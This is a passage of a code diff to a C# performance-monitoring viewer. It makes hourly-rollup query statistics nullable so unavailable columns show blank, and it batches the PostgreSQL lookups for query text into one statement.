+    /// first row in the range if that is earlier. The Active Queries tab compares it with the range's start and
+    /// shows "Showing since" when a custom range reaches back past what the store covers. Null when the range holds
+    /// no row and no logged run, and when the range lies wholly before the coverage (the run log outlives the table,
+    /// so a logged run there makes the server count though its rows are purged, and its coverage starts after the
+    /// range ends).
+    /// </summary>
+    public Task<DateTime?> GetQuerySnapshotsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("query_snapshots"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>Hourly Active-Queries slicer buckets over the window (Value = session count).</summary>
     public async Task<List<TimeSliceBucket>> GetActiveQuerySlicerDataAsync(
         int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs
index a4e5dc2de2..ae18ec814c 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
@@ -40,36 +41,38 @@ public sealed class ViewerQueryStatsRow
     public long TotalExecutions { get; set; }
     public long TotalCpuUs { get; set; }
     public long TotalElapsedUs { get; set; }
-    public long TotalLogicalReads { get; set; }
-    public long TotalRows { get; set; }
-    public long TotalLogicalWrites { get; set; }
-    public long TotalPhysicalReads { get; set; }
-    public long TotalSpills { get; set; }
-    public int MinDop { get; set; }
-    public int MaxDop { get; set; }
-    public long MinCpuUs { get; set; }
-    public long MaxCpuUs { get; set; }
-    public long MinElapsedUs { get; set; }
-    public long MaxElapsedUs { get; set; }
-    public long MinPhysicalReads { get; set; }
-    public long MaxPhysicalReads { get; set; }
-    public long MinRows { get; set; }
-    public long MaxRows { get; set; }
-    public long MinGrantKb { get; set; }
-    public long MaxGrantKb { get; set; }
-    public long MinUsedGrantKb { get; set; }
-    public long MaxUsedGrantKb { get; set; }
-    public long MinIdealGrantKb { get; set; }
-    public long MaxIdealGrantKb { get; set; }
-    public long MinReservedThreads { get; set; }
-    public long MaxReservedThreads { get; set; }
-    public long MinUsedThreads { get; set; }
-    public long MaxUsedThreads { get; set; }
-    public long TotalClrUs { get; set; }
-    public long MinSpills { get; set; }
-    public long MaxSpills { get; set; }
-    public long PlanGenerationNum { get; set; }
-    public double WorkerTimePerSecond { get; set; }
+    public long? TotalLogicalReads { get; set; }
+    public long? TotalRows { get; set; }
+    public long? TotalLogicalWrites { get; set; }
+    public long? TotalPhysicalReads { get; set; }
+    public long? TotalSpills { get; set; }
+    public int? MinDop { get; set; }
+    public int? MaxDop { get; set; }
+    /* #5329: null on the hourly route. The rollup keeps min/max of per-collection deltas (sums over many
+       executions), not the per-execution extremes the raw route reads, so showing them would be a wrong number. */
+    public long? MinCpuUs { get; set; }
+    public long? MaxCpuUs { get; set; }
+    public long? MinElapsedUs { get; set; }
+    public long? MaxElapsedUs { get; set; }
+    public long? MinPhysicalReads { get; set; }
+    public long? MaxPhysicalReads { get; set; }
+    public long? MinRows { get; set; }
+    public long? MaxRows { get; set; }
+    public long? MinGrantKb { get; set; }
+    public long? MaxGrantKb { get; set; }
+    public long? MinUsedGrantKb { get; set; }
+    public long? MaxUsedGrantKb { get; set; }
+    public long? MinIdealGrantKb { get; set; }
+    public long? MaxIdealGrantKb { get; set; }
+    public long? MinReservedThreads { get; set; }
+    public long? MaxReservedThreads { get; set; }
+    public long? MinUsedThreads { get; set; }
+    public long? MaxUsedThreads { get; set; }
+    public long? TotalClrUs { get; set; }
+    public long? MinSpills { get; set; }
+    public long? MaxSpills { get; set; }
+    public long? PlanGenerationNum { get; set; }
+    public double? WorkerTimePerSecond { get; set; }
     public string QueryPlanHash { get; set; } = "";
     public string SqlHandle { get; set; } = "";
     public string PlanHandle { get; set; } = "";
@@ -113,13 +116,13 @@ public sealed class ViewerQueryStatsRow
     public double TotalElapsedMs => TotalElapsedUs / 1000.0;
     public double AvgCpuMs => TotalExecutions > 0 ? TotalCpuMs / TotalExecutions : 0;
     public double AvgElapsedMs => TotalExecutions > 0 ? TotalElapsedMs / TotalExecutions : 0;
-    public double AvgReads => TotalExecutions > 0 ? (double)TotalLogicalReads / TotalExecutions : 0;
-    public double MinCpuMs => MinCpuUs / 1000.0;
-    public double MaxCpuMs => MaxCpuUs / 1000.0;
-    public double MinElapsedMs => MinElapsedUs / 1000.0;
-    public double MaxElapsedMs => MaxElapsedUs / 1000.0;
+    public double? AvgReads => TotalLogicalReads is null ? null : TotalExecutions > 0 ? (double)TotalLogicalReads.Value / TotalExecutions : 0;
+    public double? MinCpuMs => MinCpuUs is null ? null : MinCpuUs / 1000.0;
+    public double? MaxCpuMs => MaxCpuUs is null ? null : MaxCpuUs / 1000.0;
+    public double? MinElapsedMs => MinElapsedUs is null ? null : MinElapsedUs / 1000.0;
+    public double? MaxElapsedMs => MaxElapsedUs is null ? null : MaxElapsedUs / 1000.0;
     // total_clr_time is stored in microseconds (like worker/elapsed time)
-    public double TotalClrMs => TotalClrUs / 1000.0;
+    public double? TotalClrMs => TotalClrUs / 1000.0;
 }
 
 public sealed partial class ViewerDataService
@@ -132,23 +135,25 @@ public sealed partial class ViewerDataService
     /// (database_name, query_hash, host_object_name) over the window (#2012 stage 2 — the host object
     /// splits same-hash statements hosted by different procs, e.g. INSERT...EXEC callers; SQL GROUP BY
     /// treats NULLs as equal so ad-hoc rows still collapse), sum the deltas + carry the min/max spreads,
-    /// fetch each group's latest non-null query text via a LATERAL join constrained to the group's own
-    /// host object, drop WAITFOR shells (over-fetch by 5
-    /// exactly like Lite's <c>LIMIT top + 5</c> → filter → <c>LIMIT top</c>), and cap at top.
+    /// fetch each group's latest non-null query text with ONE lookup for every ranked group (#5309),
+    /// constrained to the group's own host object, drop WAITFOR shells (over-fetch by 5 as Lite's
+    /// <c>LIMIT top + 5</c> → filter → <c>LIMIT top</c> does, and refill while the page is short and more
+    /// candidates exist, #5313), and cap at top.
     /// Viewer deviations from Lite: (1) Postgres <c>SUM(bigint)</c> is numeric, so each summed aggregate
     /// is CAST back to bigint for the typed GetInt64 readers (MIN/MAX of bigint stay bigint, no cast);
     /// (2) Lite's server-local <c>last_execution_time</c> staleness filter and its utcOffsetMinutes
     /// parameter are dropped (the viewer has no per-server UTC offset; the delta HAVING already excludes
-    /// plans that never ran in the window); (3) the LATERAL fetches only query_text; the collected
+    /// plans that never ran in the window); (3) the text lookup fetches only query_text; the collected
     /// query_plan_xml is not carried per row (it can be multi-KB) — instead a bool_or presence test rides
     /// back as has_query_plan to gate the grid's Query Plan column, and the plan itself is
     /// fetched on demand by <see cref="GetQueryStatsPlanXmlAsync"/>. The flag answers "the server had a plan
     /// for this row", which is what the on-demand fetch can act on; it has never promised the fetch will
     /// find content, since a digest can outlive the dimension row the GC pruned.
-    /// $1 server_id, $2 window start, $3 window end (naive UTC), $4 top.
+    /// $1 server_id, $2 window start, $3 window end (naive UTC), $4 top, $5 database filter, $6 the candidate
+    /// limit (#5313: top + 5 first, larger on a refill round).
     /// </summary>
     public const string TopQueriesSql = """
-        WITH ranked AS (
+        WITH ranked AS MATERIALIZED (
             SELECT
                 database_name,
                 query_hash,
@@ -195,7 +200,7 @@ WITH ranked AS (
                    CTE aggregates the whole window and needs only a presence flag, and reading the
                    resolving view would make Postgres join the plan dimension per row to evaluate
                    it (it can drop an unreferenced unique join, but the COALESCE references it).
-                   The LATERAL below, which needs the actual text, does read the view.
+                   The latest_text lookup below resolves the text from the dimension itself, for the newest row of each group only.
 
                    The third term is the capped rows (#3392), and it needs no cap literal to find
                    them: DATALENGTH of a NULL plan is NULL, so a non-null query_plan_xml_bytes
@@ -211,8 +216,47 @@ FROM query_stats
             AND   ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, query_hash, host_object_name
             HAVING SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0
-            ORDER BY SUM(delta_elapsed_time) DESC
-            LIMIT $4 + 5
+            ORDER BY SUM(delta_elapsed_time) DESC, database_name, query_hash, host_object_name
+            /* #5313: $6 is the candidate limit, not a fixed over-fetch of five. The caller starts at top plus five and, when the
+               WAITFOR trim below leaves fewer than top rows while more candidates exist, asks again with a
+               larger $6 (TopFill, at most three rounds). The final LIMIT stays $4. */
+            LIMIT $6
+        ),
+        latest_text AS MATERIALIZED (
+            /* #5309: the representative text of EVERY ranked group in ONE lookup. This was a lateral
+               lookup of the newest row, one per ranked row, which on a store without TimescaleDB scanned the
+               raw table once per row. One pass reads the window's rows for the ranked keys and keeps the
+               newest row per key; the text is resolved from the dimension for that one row afterwards, so the
+               sort never carries a wide text. A row counts as having text when its inline text or its
+               dimension row exists, the rule v_query_stats' COALESCE gives. The key match is NULL-safe (ad-hoc
+               rows carry a NULL host object) with the COALESCE equality as the hashable pre-filter. The
+               group's own host object keeps one caller's text from labelling another's (#2012). */
+            SELECT
+                l.database_name,
+                l.query_hash,
+                l.host_object_name,
+                COALESCE(l.query_text, d.query_text) AS query_text
+            FROM
+            (
+                SELECT DISTINCT ON (q.database_name, q.query_hash, q.host_object_name)
+                    q.database_name,
+                    q.query_hash,
+                    q.host_object_name,
+                    q.query_text,
+                    q.query_text_digest
+                FROM query_stats AS q
+                JOIN ranked AS rk
+                    ON  COALESCE(q.query_hash, '') = COALESCE(rk.query_hash, '')
+                    AND q.database_name IS NOT DISTINCT FROM rk.database_name
+                    AND q.query_hash IS NOT DISTINCT FROM rk.query_hash
+                    AND q.host_object_name IS NOT DISTINCT FROM rk.host_object_name
+                WHERE q.server_id = $1
+                AND   q.collection_time >= $2
+                AND   q.collection_time <= $3
+                AND   (q.query_text IS NOT NULL OR EXISTS (SELECT 1 FROM query_text_dim AS d0 WHERE d0.digest = q.query_text_digest))
+                ORDER BY q.database_name, q.query_hash, q.host_object_name, q.collection_time DESC, q.collection_id DESC
+            ) AS l
+            LEFT JOIN query_text_dim AS d ON d.digest = l.query_text_digest
         ),
         module AS (
             /* #1568 module attribution: one procedure_stats identity per sql_handle (latest
@@ -239,7 +283,8 @@ AND   sql_handle IS NOT NULL
                 AND   sql_handle <> ''
             ) AS ranked_modules
             WHERE rn = 1
-        )
+        ),
+        page AS (
         SELECT
             r.database_name,
             r.query_hash,
@@ -286,26 +331,27 @@ AND   sql_handle <> ''
             m.object_name AS module_object_name,
             m.schema_name AS module_schema_name,
             m.database_name AS module_database_name,
-            r.host_object_name
+            r.host_object_name,
+            /* #5313: candidates the ranking produced (last column), so the caller can tell a short page that
+               has more candidates behind it from one that has run out. Every earlier ordinal is unchanged. */
+            ROW_NUMBER() OVER (ORDER BY r.total_elapsed_us DESC, r.database_name, r.query_hash, r.host_object_name) AS page_ord
         FROM ranked AS r
-        LEFT JOIN LATERAL (
-            SELECT query_text
-            FROM v_query_stats
-            WHERE server_id = $1
-            AND   query_hash = r.query_hash
-            AND   database_name = r.database_name
-            /* #2012 stage 2: the representative text must come from THIS group's own rows — without
-               the host constraint a hash shared across host objects could label one caller's row
-               with another caller's text (NOT DISTINCT FROM so ad-hoc NULL hosts still match). */
-            AND   host_object_name IS NOT DISTINCT FROM r.host_object_name
-            AND   query_text IS NOT NULL
-            ORDER BY collection_time DESC
-            LIMIT 1
-        ) AS t ON TRUE
+        LEFT JOIN latest_text AS t
+            ON  t.database_name IS NOT DISTINCT FROM r.database_name
+            AND t.query_hash IS NOT DISTINCT FROM r.query_hash
+            AND t.host_object_name IS NOT DISTINCT FROM r.host_object_name
         LEFT JOIN module AS m ON m.sql_handle = r.sql_handle
         WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-        ORDER BY r.total_elapsed_us DESC
+        ORDER BY r.total_elapsed_us DESC, r.database_name, r.query_hash, r.host_object_name
         LIMIT $4
+        )
+        /* The candidate count rides on its own row, joined to the page, so a round whose candidates were
+           ALL trimmed still reports it (an empty page used to read as exhausted). page_ord is NULL on that
+           row, which is how the caller tells it from a page row. */
+        SELECT p.*, c.candidate_count
+        FROM (SELECT COUNT(*) AS candidate_count FROM ranked) AS c
+        LEFT JOIN page AS p ON TRUE
+        ORDER BY p.page_ord
         """;
 
     /// <summary>Grid cell preview cap for query/SQL text (single line).</summary>
@@ -325,8 +371,9 @@ ORDER BY r.total_elapsed_us DESC
     /// <c>DarlingDataReader.GetTopQueriesByCpuRoutedAsync</c> does — the tier decided over
     /// <see cref="RollupCoverage.For"/>'s legacy pair, Daily clamped to Hourly (out of scope for this lane).
     /// An hourly-routed page carries only what the rollup has: <c>host_object_name</c>/
-    /// <c>module_*</c>/DOP/grant/spill/thread columns are unavailable and read as their defaults, exactly the
-    /// same disclosure the MCP payload's <c>tier_used</c>/<c>precision_note</c> make. An hourly-routed page
+    /// <c>module_*</c> are empty, and the reads/writes/physical-reads/rows/spill/DOP/grant/thread/CLR columns the rollup
+    /// keeps no copy of are NULL on the row (#5329), so the grid shows them blank instead of a false 0 — the same
+    /// disclosure the MCP payload's <c>tier_used</c>/<c>precision_note</c> make (null, never 0). When the io hourly rollup (<see cref="IoHourlyCoversWindow"/>) reaches the window's start, the page reads it instead and fills logical reads, physical reads and logical writes from its sums (#5329). An hourly-routed page
     /// also stops BEFORE <paramref name="endUtc"/> (a bucket is stamped at its start, so an end on the hour
     /// does not add the hour that begins there). Use
     /// <see cref="GetTopQueriesByCpuTierAsync"/> to also learn which tier answered.</para>
@@ -342,6 +389,16 @@ public async Task<List<ViewerQueryStatsRow>> GetTopQueriesByCpuAsync(
     /// answered ("raw" or "hourly") — the Queries-tab header suffix reads this.</summary>
     public async Task<(List<ViewerQueryStatsRow> Rows, string Tier)> GetTopQueriesByCpuTierAsync(
         int serverId, DateTime startUtc, DateTime endUtc, int top = TopQueriesPageSize, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
+    {
+        var read = await GetTopQueriesByCpuRoutedAsync(serverId, startUtc, endUtc, top, databaseNames, cancellationToken);
+        return (read.Rows, read.Tier);
+    }
+
+    /// <summary>#5329: <see cref="GetTopQueriesByCpuTierAsync"/> with the window's real edges: an hourly-routed read also
+    /// answers <see cref="ViewerRoutedRead{TRow}.HourlyEdgesNote"/> (<see cref="HourlyEdgesNote"/>), the text the MCP tool
+    /// puts in its precision note; a raw read answers none.</summary>
+    public async Task<ViewerRoutedRead<ViewerQueryStatsRow>> GetTopQueriesByCpuRoutedAsync(
+        int serverId, DateTime startUtc, DateTime endUtc, int top = TopQueriesPageSize, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var (rollups, coverage) = await GetRollupAvailabilityAsync(cancellationToken);
         var routedTier = RetentionTierRouter.Resolve(
@@ -354,100 +411,175 @@ public async Task<List<ViewerQueryStatsRow>> GetTopQueriesByCpuAsync(
 
         if (routedTier == RetentionTier.Hourly)
         {
-            var hourlyRows = await GetTopQueriesByCpuHourlyAsync(coverage, serverId, startUtc, endUtc, top, databaseNames, cancellationToken);
-            return (hourlyRows, "hourly");
+            return await GetTopQueriesByCpuHourlyAsync(rollups, coverage, serverId, startUtc, endUtc, top, databaseNames, cancellationToken);
         }
 
-        return (await GetTopQueriesByCpuRawAsync(serverId, startUtc, endUtc, top, databaseNames, cancellationToken), "raw");
+        return new ViewerRoutedRead<ViewerQueryStatsRow>(await GetTopQueriesByCpuRawAsync(serverId, startUtc, endUtc, top, databaseNames, cancellationToken), "raw", null);
     }
 
     /// <summary>#4231 stage 3: the hourly-rollup arm — builds its FROM clause ONLY through
     /// <see cref="RollupCoverage.StitchedRelationSql"/> (never a literal rollup name), groups by
     /// <c>(database_name, query_hash)</c> (the rollup has no host_object_name), and resolves each row's
     /// <c>query_text</c> with a follow-up lookup mirroring <see cref="DarlingDataReader"/>'s MCP twin.</summary>
-    private async Task<List<ViewerQueryStatsRow>> GetTopQueriesByCpuHourlyAsync(
-        RollupCoverage coverage, int serverId, DateTime startUtc, DateTime endUtc, int top,
+    private async Task<ViewerRoutedRead<ViewerQueryStatsRow>> GetTopQueriesByCpuHourlyAsync(
+        RollupAvailability rollups, RollupCoverage coverage, int serverId, DateTime startUtc, DateTime endUtc, int top,
         IReadOnlyList<string>? databaseNames, CancellationToken cancellationToken)
     {
-        var fromClause = coverage.StitchedRelationSql(
-            TimescaleSupport.QueryStatsHourlyView, "f", startUtc, RollupCoverage.StitchTier.Hourly);
-        var sql = BuildTopQueriesHourlySql(fromClause);
-
-        var ranked = new List<(string Database, string QueryHash, long TotalExecutions, long TotalCpuUs, long TotalElapsedUs, long MinWorkerTime, long MaxWorkerTime)>();
-        await using (var command = _dataSource.CreateCommand(sql))
+        /* #5329: when the io hourly rollup reaches the window's start, read it instead of the interval rollup (it
+           carries every column the interval one does) and fill reads, physical reads and writes from its three sums.
+           Otherwise today's route and today's blank columns. The io view is named only through StitchedRelationSql
+           (it has no successor, so that answers just its own relation). */
+        var useIo = IoHourlyCoversWindow(rollups, coverage, TimescaleSupport.QueryStatsIoHourlyView, startUtc);
+        var answeringView = useIo ? TimescaleSupport.QueryStatsIoHourlyView : TimescaleSupport.QueryStatsHourlyView;
+        var fromClause = coverage.StitchedRelationSql(answeringView, "f", startUtc, RollupCoverage.StitchTier.Hourly);
+        /* #5329: bound the read at the materialization ceiling of the relation that answers the window's END, as the
+           service's twin does (RollupCoverage.HourlyEndCeiling); null = no bound. */
+        var ceiling = coverage.HourlyEndCeiling(answeringView, startUtc);
+        var sql = BuildTopQueriesHourlySql(fromClause, withIo: useIo, ceiling: ceiling);
+        /* #5329: the first bucket THIS server holds in the window, from the same per-server probe the service's tools run
+           (RollupCoverage.GetHourlyFirstBucketAsync), beside the grid read. The store-wide floor belongs to the oldest
+           server, so a server added later would otherwise get no start edge. */
+        var firstBucketTask = coverage.GetHourlyFirstBucketAsync(
+            _dataSource, answeringView, serverId, startUtc, endUtc, ceiling, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+        var ranked = new List<(string Database, string QueryHash, long TotalExecutions, long TotalCpuUs, long TotalElapsedUs, long? Reads, long? PhysicalReads, long? Writes)>();
+        List<ViewerQueryStatsRow> rows;
+        try
         {
-            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            AddServerWindowParameters(command, serverId, startUtc, endUtc);
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = top });
-            command.Parameters.Add(DatabaseFilterParameter(databaseNames));
-            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-            while (await reader.ReadAsync(cancellationToken))
+            await using (var command = _dataSource.CreateCommand(sql))
             {
-                ranked.Add((
-                    reader.IsDBNull(0) ? "" : reader.GetString(0),
-                    reader.IsDBNull(1) ? "" : reader.GetString(1),
-                    reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
-                    reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
-                    reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
-                    reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
-                    reader.IsDBNull(6) ? 0 : reader.GetInt64(6)));
+                command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+                AddServerWindowParameters(command, serverId, startUtc, endUtc);
+                command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = top });
+                command.Parameters.Add(DatabaseFilterParameter(databaseNames));
+                AddHourlyCeilingParameter(command, ceiling);
+                await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    ranked.Add((
+                        reader.IsDBNull(0) ? "" : reader.GetString(0),
+                        reader.IsDBNull(1) ? "" : reader.GetString(1),
+                        reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
+                        reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
+                        reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
+                        useIo && !reader.IsDBNull(5) ? reader.GetInt64(5) : null,
+                        useIo && !reader.IsDBNull(6) ? reader.GetInt64(6) : null,
+                        useIo && !reader.IsDBNull(7) ? reader.GetInt64(7) : null));
+                }
             }
-        }
 
-        var rows = new List<ViewerQueryStatsRow>(ranked.Count);
-        foreach (var r in ranked)
-        {
-            var queryText = "";
-            await using (var textCommand = _dataSource.CreateCommand(
-                "SELECT query_text FROM v_query_stats WHERE server_id = $1 AND database_name = $2 AND query_hash = $3 AND query_text IS NOT NULL ORDER BY collection_time DESC LIMIT 1"))
+            /* Walk finding D15: ONE statement for every ranked row's text. This was one v_query_stats statement per row
+               (50 sequential round trips per load, each planned on its own), which on a 7 day window over a network was
+               most of the load. */
+            var texts = await ReadHourlyQueryTextsAsync(serverId, ranked.Select(r => r.Database).ToArray(), ranked.Select(r => r.QueryHash).ToArray(), cancellationToken);
+            rows = new List<ViewerQueryStatsRow>(ranked.Count);
+            for (var i = 0; i < ranked.Count; i++)
             {
-                textCommand.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-                textCommand.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-                textCommand.Parameters.Add(new NpgsqlParameter<string> { TypedValue = r.Database });
-                textCommand.Parameters.Add(new NpgsqlParameter<string> { TypedValue = r.QueryHash });
-                var textResult = await textCommand.ExecuteScalarAsync(cancellationToken);
-                if (textResult is string text)
+                var r = ranked[i];
+                var queryText = texts[i];
+
+                rows.Add(new ViewerQueryStatsRow
                 {
-                    queryText = text;
-                }
+                    DatabaseName = r.Database,
+                    QueryHash = r.QueryHash,
+                    TotalExecutions = r.TotalExecutions,
+                    TotalCpuUs = r.TotalCpuUs,
+                    TotalElapsedUs = r.TotalElapsedUs,
+                    /* #5329: from the io rollup's sums when it covers the window, else null (blank, never 0). */
+                    TotalLogicalReads = r.Reads,
+                    TotalPhysicalReads = r.PhysicalReads,
+                    TotalLogicalWrites = r.Writes,
+                    /* #5329: MinCpuUs, MaxCpuUs, MinElapsedUs and MaxElapsedUs stay null here. */
+                    QueryText = queryText,
+                    /* #4231 stage 3: the rollup has no host_object_name column. */
+                    HostObjectName = null,
+                });
             }
+        }
+        catch
+        {
+            /* #5329: the probe is no longer wanted, so observe its fault (never throw it over this one): otherwise one failure logs twice. */
+            await ObserveAsync(firstBucketTask);
+            throw;
+        }
 
-            rows.Add(new ViewerQueryStatsRow
+        var firstBucket = await firstBucketTask;
+        return new ViewerRoutedRead<ViewerQueryStatsRow>(rows, "hourly", HourlyEdgesNote(startUtc, endUtc, firstBucket, ceiling), useIo, firstBucket);
+    }
+
+    /// <summary>The hourly arm's text lookup for every ranked row in one statement (walk finding D15; it was one statement per row).
+    /// Each (database, query hash) key takes the text of its newest row that has one, from <c>v_query_stats</c> (the view resolves
+    /// the #1767 dimension), exactly as the per-row lookup it replaces did; a key with no text is simply absent from the answer.
+    /// $1 server_id, $2 database names, $3 query hashes (parallel arrays), answered as (ordinal, query_text).</summary>
+    internal const string HourlyTextBatchSql = """
+        SELECT k.ord, t.query_text
+        FROM unnest($2::text[], $3::text[]) WITH ORDINALITY AS k(database_name, query_hash, ord)
+        CROSS JOIN LATERAL
+        (
+            SELECT v.query_text
+            FROM v_query_stats AS v
+            WHERE v.server_id = $1
+            AND   v.database_name = k.database_name
+            AND   v.query_hash = k.query_hash
+            AND   v.query_text IS NOT NULL
+            ORDER BY v.collection_time DESC
+            LIMIT 1
+        ) AS t
+        """;
+
+    /// <summary>One <see cref="HourlyTextBatchSql"/> round trip: the text per ranked row, in the same order, "" where none.</summary>
+    internal async Task<string[]> ReadHourlyQueryTextsAsync(int serverId, string[] databases, string[] hashes, CancellationToken cancellationToken)
+    {
+        var texts = new string[databases.Length];
+        Array.Fill(texts, "");
+        if (databases.Length == 0)
+        {
+            return texts;
+        }
+
+        await using var command = _dataSource.CreateCommand(HourlyTextBatchSql);
+        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<string[]> { TypedValue = databases });
+        command.Parameters.Add(new NpgsqlParameter<string[]> { TypedValue = hashes });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            if (!reader.IsDBNull(1))
             {
-                DatabaseName = r.Database,
-                QueryHash = r.QueryHash,
-                TotalExecutions = r.TotalExecutions,
-                TotalCpuUs = r.TotalCpuUs,
-                TotalElapsedUs = r.TotalElapsedUs,
-                MinCpuUs = r.MinWorkerTime,
-                MaxCpuUs = r.MaxWorkerTime,
-                QueryText = queryText,
-                /* #4231 stage 3: the rollup has no host_object_name column. */
-                HostObjectName = null,
-            });
+                texts[(int)reader.GetInt64(0) - 1] = reader.GetString(1);
+            }
         }
 
-        return rows;
+        return texts;
     }
 
+    /// <summary>#5329: the three columns the io hourly rollups add, appended to the hourly arm's select list
+    /// (positions 5, 6 and 7) when the io view is the relation: logical reads, physical reads and logical writes.</summary>
+    internal const string IoSumsSelectSql = """
+        ,
+            CAST(SUM(logical_reads_sum) AS bigint) AS total_logical_reads,
+            CAST(SUM(physical_reads_sum) AS bigint) AS total_physical_reads,
+            CAST(SUM(logical_writes_sum) AS bigint) AS total_logical_writes
+        """;
+
     /// <summary>The hourly-rollup arm's SQL over <paramref name="fromClause"/>. A rollup bucket is stamped at
-    /// its START, so the window end is EXCLUSIVE (<c>bucket &lt; $3</c>): a range whose To is 14:00 sums the
+    /// its START, so the window end is EXCLUSIVE (<c>bucket &lt; $3</c>), and (#5329) a known materialization
+    /// <paramref name="ceiling"/> adds <c>bucket &lt; $6</c> (see <see cref="HourlyCeilingSql"/>): a range whose To is 14:00 sums the
     /// hours up to 13:00-14:00 and does not add the 14:00-15:00 hour that only begins at the end. (The raw arm
     /// stamps a sample when it was taken, so it keeps <c>&lt;=</c> on <c>collection_time</c>.) Split out so a
     /// test can read the text.</summary>
-    internal static string BuildTopQueriesHourlySql(string fromClause) => $"""
+    internal static string BuildTopQueriesHourlySql(string fromClause, bool withIo = false, DateTime? ceiling = null) => $"""
         SELECT
             database_name,
             query_hash,
             CAST(SUM(execution_count_sum) AS bigint) AS total_executions,
             CAST(SUM(worker_time_sum) AS bigint) AS total_cpu_us,
-            CAST(SUM(elapsed_time_sum) AS bigint) AS total_elapsed_us,
-            MIN(worker_time_min) AS min_worker_time,
-            MAX(worker_time_max) AS max_worker_time
+            CAST(SUM(elapsed_time_sum) AS bigint) AS total_elapsed_us{(withIo ? IoSumsSelectSql : "")}
         FROM {fromClause}
         WHERE server_id = $1
         AND   bucket >= $2
-        AND   bucket < $3
+        AND   bucket < $3{HourlyCeilingSql(ceiling)}
         AND   ($5::text[] IS NULL OR database_name = ANY($5))
         GROUP BY database_name, query_hash
         HAVING (SUM(execution_count_sum) > 0 OR SUM(elapsed_time_sum) > 0)
@@ -460,16 +592,29 @@ ORDER BY SUM(elapsed_time_sum) DESC
     private async Task<List<ViewerQueryStatsRow>> GetTopQueriesByCpuRawAsync(
         int serverId, DateTime startUtc, DateTime endUtc, int top, IReadOnlyList<string>? databaseNames, CancellationToken cancellationToken)
     {
+        /* #5313: the WAITFOR trim can leave the page short; TopFill asks again with a larger candidate limit ($6)
+           while more candidates exist, under its bound. */
+        return await TopFill.RunAsync(top, async candidates =>
+        {
         var rows = new List<ViewerQueryStatsRow>();
+        var candidateCount = 0;
 
         await using var command = _dataSource.CreateCommand(TopQueriesSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         AddServerWindowParameters(command, serverId, startUtc, endUtc);
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = top });
         command.Parameters.Add(DatabaseFilterParameter(databaseNames));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = candidates });
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
+            /* #5313: the count rides on a row of its own too; page_ord (46) is NULL on that one, so it is not a page row. */
+            candidateCount = reader.IsDBNull(47) ? 0 : Convert.ToInt32(reader.GetValue(47), System.Globalization.CultureInfo.InvariantCulture);
+            if (reader.IsDBNull(46))
+            {
+                continue;
+            }
+
             rows.Add(new ViewerQueryStatsRow
             {
                 DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
@@ -521,7 +666,8 @@ private async Task<List<ViewerQueryStatsRow>> GetTopQueriesByCpuRawAsync(
             });
         }
 
-        return rows;
+        return (rows, candidateCount);
+        });
     }
 
     /// <summary>
@@ -529,12 +675,25 @@ private async Task<List<ViewerQueryStatsRow>> GetTopQueriesByCpuRawAsync(
     /// — the shared probe (<see cref="RawWindowFloor"/>), never a second, hand-copied floor query. The
     /// Queries tab's <c>LoadTopQueriesAsync</c> reads this beside
     /// <see cref="GetTopQueriesByCpuAsync"/> so the grid header can disclose a window the raw tier no longer
-    /// fully holds, the same fact <c>get_top_queries_by_cpu</c> reports over MCP.
+    /// fully holds, the same fact <c>get_top_queries_by_cpu</c> reports over MCP. A window no longer than
+    /// <see cref="DurationTrendRouting.TruncationSlack"/> answers null without a store read (#4966): no banner can show for one.
     /// </summary>
     public Task<DateTime?> GetQueryStatsWindowFloorAsync(
-        int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
-        RawWindowFloor.GetAsync(_dataSource, RawWindowFloor.Table.QueryStats, serverId, startUtc, endUtc,
